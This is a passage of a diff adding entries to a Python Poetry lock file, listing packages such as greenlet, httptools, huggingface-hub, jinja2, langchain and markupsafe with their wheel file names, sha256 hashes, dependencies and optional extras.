+ {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5454276c07d27a740c5892f4907c86327b632127dd9abec42ee62e12427ff7e3"},
+ {file = "greenlet-2.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:7cafd1208fdbe93b67c7086876f061f660cfddc44f404279c1585bbf3cdc64c5"},
+ {file = "greenlet-2.0.2-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:910841381caba4f744a44bf81bfd573c94e10b3045ee00de0cbf436fe50673a6"},
+ {file = "greenlet-2.0.2-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:18a7f18b82b52ee85322d7a7874e676f34ab319b9f8cce5de06067384aa8ff43"},
+ {file = "greenlet-2.0.2-cp35-cp35m-win32.whl", hash = "sha256:03a8f4f3430c3b3ff8d10a2a86028c660355ab637cee9333d63d66b56f09d52a"},
+ {file = "greenlet-2.0.2-cp35-cp35m-win_amd64.whl", hash = "sha256:4b58adb399c4d61d912c4c331984d60eb66565175cdf4a34792cd9600f21b394"},
+ {file = "greenlet-2.0.2-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:703f18f3fda276b9a916f0934d2fb6d989bf0b4fb5a64825260eb9bfd52d78f0"},
+ {file = "greenlet-2.0.2-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:32e5b64b148966d9cccc2c8d35a671409e45f195864560829f395a54226408d3"},
+ {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2dd11f291565a81d71dab10b7033395b7a3a5456e637cf997a6f33ebdf06f8db"},
+ {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e0f72c9ddb8cd28532185f54cc1453f2c16fb417a08b53a855c4e6a418edd099"},
+ {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd021c754b162c0fb55ad5d6b9d960db667faad0fa2ff25bb6e1301b0b6e6a75"},
+ {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:3c9b12575734155d0c09d6c3e10dbd81665d5c18e1a7c6597df72fd05990c8cf"},
+ {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b9ec052b06a0524f0e35bd8790686a1da006bd911dd1ef7d50b77bfbad74e292"},
+ {file = "greenlet-2.0.2-cp36-cp36m-win32.whl", hash = "sha256:dbfcfc0218093a19c252ca8eb9aee3d29cfdcb586df21049b9d777fd32c14fd9"},
+ {file = "greenlet-2.0.2-cp36-cp36m-win_amd64.whl", hash = "sha256:9f35ec95538f50292f6d8f2c9c9f8a3c6540bbfec21c9e5b4b751e0a7c20864f"},
+ {file = "greenlet-2.0.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:d5508f0b173e6aa47273bdc0a0b5ba055b59662ba7c7ee5119528f466585526b"},
+ {file = "greenlet-2.0.2-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:f82d4d717d8ef19188687aa32b8363e96062911e63ba22a0cff7802a8e58e5f1"},
+ {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9c59a2120b55788e800d82dfa99b9e156ff8f2227f07c5e3012a45a399620b7"},
+ {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2780572ec463d44c1d3ae850239508dbeb9fed38e294c68d19a24d925d9223ca"},
+ {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:937e9020b514ceedb9c830c55d5c9872abc90f4b5862f89c0887033ae33c6f73"},
+ {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:36abbf031e1c0f79dd5d596bfaf8e921c41df2bdf54ee1eed921ce1f52999a86"},
+ {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:18e98fb3de7dba1c0a852731c3070cf022d14f0d68b4c87a19cc1016f3bb8b33"},
+ {file = "greenlet-2.0.2-cp37-cp37m-win32.whl", hash = "sha256:3f6ea9bd35eb450837a3d80e77b517ea5bc56b4647f5502cd28de13675ee12f7"},
+ {file = "greenlet-2.0.2-cp37-cp37m-win_amd64.whl", hash = "sha256:7492e2b7bd7c9b9916388d9df23fa49d9b88ac0640db0a5b4ecc2b653bf451e3"},
+ {file = "greenlet-2.0.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:b864ba53912b6c3ab6bcb2beb19f19edd01a6bfcbdfe1f37ddd1778abfe75a30"},
+ {file = "greenlet-2.0.2-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:ba2956617f1c42598a308a84c6cf021a90ff3862eddafd20c3333d50f0edb45b"},
+ {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fc3a569657468b6f3fb60587e48356fe512c1754ca05a564f11366ac9e306526"},
+ {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8eab883b3b2a38cc1e050819ef06a7e6344d4a990d24d45bc6f2cf959045a45b"},
+ {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:acd2162a36d3de67ee896c43effcd5ee3de247eb00354db411feb025aa319857"},
+ {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0bf60faf0bc2468089bdc5edd10555bab6e85152191df713e2ab1fcc86382b5a"},
+ {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0ef99cdbe2b682b9ccbb964743a6aca37905fda5e0452e5ee239b1654d37f2a"},
+ {file = "greenlet-2.0.2-cp38-cp38-win32.whl", hash = "sha256:b80f600eddddce72320dbbc8e3784d16bd3fb7b517e82476d8da921f27d4b249"},
+ {file = "greenlet-2.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:4d2e11331fc0c02b6e84b0d28ece3a36e0548ee1a1ce9ddde03752d9b79bba40"},
+ {file = "greenlet-2.0.2-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:88d9ab96491d38a5ab7c56dd7a3cc37d83336ecc564e4e8816dbed12e5aaefc8"},
+ {file = "greenlet-2.0.2-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:561091a7be172ab497a3527602d467e2b3fbe75f9e783d8b8ce403fa414f71a6"},
+ {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:971ce5e14dc5e73715755d0ca2975ac88cfdaefcaab078a284fea6cfabf866df"},
+ {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be4ed120b52ae4d974aa40215fcdfde9194d63541c7ded40ee12eb4dda57b76b"},
+ {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94c817e84245513926588caf1152e3b559ff794d505555211ca041f032abbb6b"},
+ {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1a819eef4b0e0b96bb0d98d797bef17dc1b4a10e8d7446be32d1da33e095dbb8"},
+ {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7efde645ca1cc441d6dc4b48c0f7101e8d86b54c8530141b09fd31cef5149ec9"},
+ {file = "greenlet-2.0.2-cp39-cp39-win32.whl", hash = "sha256:ea9872c80c132f4663822dd2a08d404073a5a9b5ba6155bea72fb2a79d1093b5"},
+ {file = "greenlet-2.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:db1a39669102a1d8d12b57de2bb7e2ec9066a6f2b3da35ae511ff93b01b5d564"},
+ {file = "greenlet-2.0.2.tar.gz", hash = "sha256:e7c8dc13af7db097bed64a051d2dd49e9f0af495c26995c00a9ee842690d34c0"},
+]
+
+[package.extras]
+docs = ["Sphinx", "docutils (<0.18)"]
+test = ["objgraph", "psutil"]
+
+[[package]]
+name = "h11"
+version = "0.14.0"
+description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"},
+ {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"},
+]
+
+[[package]]
+name = "httptools"
+version = "0.6.0"
+description = "A collection of framework independent HTTP protocol utils."
+optional = false
+python-versions = ">=3.5.0"
+files = [
+ {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:818325afee467d483bfab1647a72054246d29f9053fd17cc4b86cda09cc60339"},
+ {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72205730bf1be875003692ca54a4a7c35fac77b4746008966061d9d41a61b0f5"},
+ {file = "httptools-0.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:33eb1d4e609c835966e969a31b1dedf5ba16b38cab356c2ce4f3e33ffa94cad3"},
+ {file = "httptools-0.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdc6675ec6cb79d27e0575750ac6e2b47032742e24eed011b8db73f2da9ed40"},
+ {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:463c3bc5ef64b9cf091be9ac0e0556199503f6e80456b790a917774a616aff6e"},
+ {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:82f228b88b0e8c6099a9c4757ce9fdbb8b45548074f8d0b1f0fc071e35655d1c"},
+ {file = "httptools-0.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:0781fedc610293a2716bc7fa142d4c85e6776bc59d617a807ff91246a95dea35"},
+ {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:721e503245d591527cddd0f6fd771d156c509e831caa7a57929b55ac91ee2b51"},
+ {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:274bf20eeb41b0956e34f6a81f84d26ed57c84dd9253f13dcb7174b27ccd8aaf"},
+ {file = "httptools-0.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:259920bbae18740a40236807915def554132ad70af5067e562f4660b62c59b90"},
+ {file = "httptools-0.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03bfd2ae8a2d532952ac54445a2fb2504c804135ed28b53fefaf03d3a93eb1fd"},
+ {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:f959e4770b3fc8ee4dbc3578fd910fab9003e093f20ac8c621452c4d62e517cb"},
+ {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6e22896b42b95b3237eccc42278cd72c0df6f23247d886b7ded3163452481e38"},
+ {file = "httptools-0.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:38f3cafedd6aa20ae05f81f2e616ea6f92116c8a0f8dcb79dc798df3356836e2"},
+ {file = "httptools-0.6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:47043a6e0ea753f006a9d0dd076a8f8c99bc0ecae86a0888448eb3076c43d717"},
+ {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:35a541579bed0270d1ac10245a3e71e5beeb1903b5fbbc8d8b4d4e728d48ff1d"},
+ {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65d802e7b2538a9756df5acc062300c160907b02e15ed15ba035b02bce43e89c"},
+ {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:26326e0a8fe56829f3af483200d914a7cd16d8d398d14e36888b56de30bec81a"},
+ {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:e41ccac9e77cd045f3e4ee0fc62cbf3d54d7d4b375431eb855561f26ee7a9ec4"},
+ {file = "httptools-0.6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:4e748fc0d5c4a629988ef50ac1aef99dfb5e8996583a73a717fc2cac4ab89932"},
+ {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:cf8169e839a0d740f3d3c9c4fa630ac1a5aaf81641a34575ca6773ed7ce041a1"},
+ {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5dcc14c090ab57b35908d4a4585ec5c0715439df07be2913405991dbb37e049d"},
+ {file = "httptools-0.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d0b0571806a5168013b8c3d180d9f9d6997365a4212cb18ea20df18b938aa0b"},
+ {file = "httptools-0.6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fb4a608c631f7dcbdf986f40af7a030521a10ba6bc3d36b28c1dc9e9035a3c0"},
+ {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:93f89975465133619aea8b1952bc6fa0e6bad22a447c6d982fc338fbb4c89649"},
+ {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:73e9d66a5a28b2d5d9fbd9e197a31edd02be310186db423b28e6052472dc8201"},
+ {file = "httptools-0.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:22c01fcd53648162730a71c42842f73b50f989daae36534c818b3f5050b54589"},
+ {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:3f96d2a351b5625a9fd9133c95744e8ca06f7a4f8f0b8231e4bbaae2c485046a"},
+ {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:72ec7c70bd9f95ef1083d14a755f321d181f046ca685b6358676737a5fecd26a"},
+ {file = "httptools-0.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b703d15dbe082cc23266bf5d9448e764c7cb3fcfe7cb358d79d3fd8248673ef9"},
+ {file = "httptools-0.6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82c723ed5982f8ead00f8e7605c53e55ffe47c47465d878305ebe0082b6a1755"},
+ {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b0a816bb425c116a160fbc6f34cece097fd22ece15059d68932af686520966bd"},
+ {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:dea66d94e5a3f68c5e9d86e0894653b87d952e624845e0b0e3ad1c733c6cc75d"},
+ {file = "httptools-0.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:23b09537086a5a611fad5696fc8963d67c7e7f98cb329d38ee114d588b0b74cd"},
+ {file = "httptools-0.6.0.tar.gz", hash = "sha256:9fc6e409ad38cbd68b177cd5158fc4042c796b82ca88d99ec78f07bed6c6b796"},
+]
+
+[package.extras]
+test = ["Cython (>=0.29.24,<0.30.0)"]
+
+[[package]]
+name = "huggingface-hub"
+version = "0.16.4"
+description = "Client library to download and publish models, datasets and other repos on the huggingface.co hub"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "huggingface_hub-0.16.4-py3-none-any.whl", hash = "sha256:0d3df29932f334fead024afc7cb4cc5149d955238b8b5e42dcf9740d6995a349"},
+ {file = "huggingface_hub-0.16.4.tar.gz", hash = "sha256:608c7d4f3d368b326d1747f91523dbd1f692871e8e2e7a4750314a2dd8b63e14"},
+]
+
+[package.dependencies]
+filelock = "*"
+fsspec = "*"
+packaging = ">=20.9"
+pyyaml = ">=5.1"
+requests = "*"
+tqdm = ">=4.42.1"
+typing-extensions = ">=3.7.4.3"
+
+[package.extras]
+all = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "black (>=23.1,<24.0)", "gradio", "jedi", "mypy (==0.982)", "numpy", "pydantic", "pytest", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-vcr", "pytest-xdist", "ruff (>=0.0.241)", "soundfile", "types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3", "urllib3 (<2.0)"]
+cli = ["InquirerPy (==0.3.4)"]
+dev = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "black (>=23.1,<24.0)", "gradio", "jedi", "mypy (==0.982)", "numpy", "pydantic", "pytest", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-vcr", "pytest-xdist", "ruff (>=0.0.241)", "soundfile", "types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3", "urllib3 (<2.0)"]
+fastai = ["fastai (>=2.4)", "fastcore (>=1.3.27)", "toml"]
+inference = ["aiohttp", "pydantic"]
+quality = ["black (>=23.1,<24.0)", "mypy (==0.982)", "ruff (>=0.0.241)"]
+tensorflow = ["graphviz", "pydot", "tensorflow"]
+testing = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "gradio", "jedi", "numpy", "pydantic", "pytest", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-vcr", "pytest-xdist", "soundfile", "urllib3 (<2.0)"]
+torch = ["torch"]
+typing = ["pydantic", "types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3"]
+
+[[package]]
+name = "idna"
+version = "3.4"
+description = "Internationalized Domain Names in Applications (IDNA)"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"},
+ {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"},
+]
+
+[[package]]
+name = "iniconfig"
+version = "2.0.0"
+description = "brain-dead simple config-ini parsing"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"},
+ {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"},
+]
+
+[[package]]
+name = "jinja2"
+version = "3.1.2"
+description = "A very fast and expressive template engine."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Jinja2-3.1.2-py3-none-any.whl", hash = "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"},
+ {file = "Jinja2-3.1.2.tar.gz", hash = "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852"},
+]
+
+[package.dependencies]
+MarkupSafe = ">=2.0"
+
+[package.extras]
+i18n = ["Babel (>=2.7)"]
+
+[[package]]
+name = "jmespath"
+version = "1.0.1"
+description = "JSON Matching Expressions"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"},
+ {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"},
+]
+
+[[package]]
+name = "joblib"
+version = "1.3.1"
+description = "Lightweight pipelining with Python functions"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "joblib-1.3.1-py3-none-any.whl", hash = "sha256:89cf0529520e01b3de7ac7b74a8102c90d16d54c64b5dd98cafcd14307fdf915"},
+ {file = "joblib-1.3.1.tar.gz", hash = "sha256:1f937906df65329ba98013dc9692fe22a4c5e4a648112de500508b18a21b41e3"},
+]
+
+[[package]]
+name = "langchain"
+version = "0.0.163"
+description = "Building applications with LLMs through composability"
+optional = false
+python-versions = ">=3.8.1,<4.0"
+files = [
+ {file = "langchain-0.0.163-py3-none-any.whl", hash = "sha256:b52220f3566e0942dc2384fb07f6df54641f232645272dad0b3cf9e8dd6fb3ed"},
+ {file = "langchain-0.0.163.tar.gz", hash = "sha256:c1b1c7c2d649feac9910f34d6302d340d4758b7ef990be327ff01323a31b0cde"},
+]
+
+[package.dependencies]
+aiohttp = ">=3.8.3,<4.0.0"
+dataclasses-json = ">=0.5.7,<0.6.0"
+numexpr = ">=2.8.4,<3.0.0"
+numpy = ">=1,<2"
+openapi-schema-pydantic = ">=1.2,<2.0"
+pydantic = ">=1,<2"
+PyYAML = ">=5.4.1"
+requests = ">=2,<3"
+SQLAlchemy = ">=1.4,<3"
+tenacity = ">=8.1.0,<9.0.0"
+tqdm = ">=4.48.0"
+
+[package.extras]
+all = ["O365 (>=2.0.26,<3.0.0)", "aleph-alpha-client (>=2.15.0,<3.0.0)", "anthropic (>=0.2.6,<0.3.0)", "arxiv (>=1.4,<2.0)", "atlassian-python-api (>=3.36.0,<4.0.0)", "azure-cosmos (>=4.4.0b1,<5.0.0)", "azure-identity (>=1.12.0,<2.0.0)", "beautifulsoup4 (>=4,<5)", "clickhouse-connect (>=0.5.14,<0.6.0)", "cohere (>=3,<4)", "deeplake (>=3.3.0,<4.0.0)", "duckduckgo-search (>=2.8.6,<3.0.0)", "elasticsearch (>=8,<9)", "faiss-cpu (>=1,<2)", "google-api-python-client (==2.70.0)", "google-search-results (>=2,<3)", "gptcache (>=0.1.7)", "html2text (>=2020.1.16,<2021.0.0)", "huggingface_hub (>=0,<1)", "jina (>=3.14,<4.0)", "jinja2 (>=3,<4)", "jq (>=1.4.1,<2.0.0)", "lancedb (>=0.1,<0.2)", "lark (>=1.1.5,<2.0.0)", "manifest-ml (>=0.0.1,<0.0.2)", "networkx (>=2.6.3,<3.0.0)", "nlpcloud (>=1,<2)", "nltk (>=3,<4)", "nomic (>=1.0.43,<2.0.0)", "openai (>=0,<1)", "opensearch-py (>=2.0.0,<3.0.0)", "pexpect (>=4.8.0,<5.0.0)", "pgvector (>=0.1.6,<0.2.0)", "pinecone-client (>=2,<3)", "pinecone-text (>=0.4.2,<0.5.0)", "psycopg2-binary (>=2.9.5,<3.0.0)", "pyowm (>=3.3.0,<4.0.0)", "pypdf (>=3.4.0,<4.0.0)", "pytesseract (>=0.3.10,<0.4.0)", "pyvespa (>=0.33.0,<0.34.0)", "qdrant-client (>=1.1.2,<2.0.0)", "redis (>=4,<5)", "sentence-transformers (>=2,<3)", "spacy (>=3,<4)", "tensorflow-text (>=2.11.0,<3.0.0)", "tiktoken (>=0.3.2,<0.4.0)", "torch (>=1,<3)", "transformers (>=4,<5)", "weaviate-client (>=3,<4)", "wikipedia (>=1,<2)", "wolframalpha (==5.0.0)"]
+azure = ["azure-core (>=1.26.4,<2.0.0)", "azure-cosmos (>=4.4.0b1,<5.0.0)", "azure-identity (>=1.12.0,<2.0.0)", "openai (>=0,<1)"]
+cohere = ["cohere (>=3,<4)"]
+embeddings = ["sentence-transformers (>=2,<3)"]
+llms = ["anthropic (>=0.2.6,<0.3.0)", "cohere (>=3,<4)", "huggingface_hub (>=0,<1)", "manifest-ml (>=0.0.1,<0.0.2)", "nlpcloud (>=1,<2)", "openai (>=0,<1)", "torch (>=1,<3)", "transformers (>=4,<5)"]
+openai = ["openai (>=0,<1)"]
+qdrant = ["qdrant-client (>=1.1.2,<2.0.0)"]
+
+[[package]]
+name = "markdown-it-py"
+version = "3.0.0"
+description = "Python port of markdown-it. Markdown parsing, done right!"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"},
+ {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"},
+]
+
+[package.dependencies]
+mdurl = ">=0.1,<1.0"
+
+[package.extras]
+benchmarking = ["psutil", "pytest", "pytest-benchmark"]
+code-style = ["pre-commit (>=3.0,<4.0)"]
+compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"]
+linkify = ["linkify-it-py (>=1,<3)"]
+plugins = ["mdit-py-plugins"]
+profiling = ["gprof2dot"]
+rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"]
+testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"]
+
+[[package]]
+name = "markupsafe"
+version = "2.1.3"
+description = "Safely add untrusted strings to HTML/XML markup."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68e78619a61ecf91e76aa3e6e8e33fc4894a2bebe93410754bd28fce0a8a4f9f"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65c1a9bcdadc6c28eecee2c119465aebff8f7a584dd719facdd9e825ec61ab52"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:525808b8019e36eb524b8c68acdd63a37e75714eac50e988180b169d64480a00"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-win32.whl", hash = "sha256:10bbfe99883db80bdbaff2dcf681dfc6533a614f700da1287707e8a5d78a8431"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-win_amd64.whl", hash = "sha256:1577735524cdad32f9f694208aa75e422adba74f1baee7551620e43a3141f559"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3c0fae6c3be832a0a0473ac912810b2877c8cb9d76ca48de1ed31e1c68386575"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:338ae27d6b8745585f87218a3f23f1512dbf52c26c28e322dbe54bcede54ccb9"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5bbe06f8eeafd38e5d0a4894ffec89378b6c6a625ff57e3028921f8ff59318ac"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-win32.whl", hash = "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-win_amd64.whl", hash = "sha256:134da1eca9ec0ae528110ccc9e48041e0828d79f24121a1a146161103c76e686"},
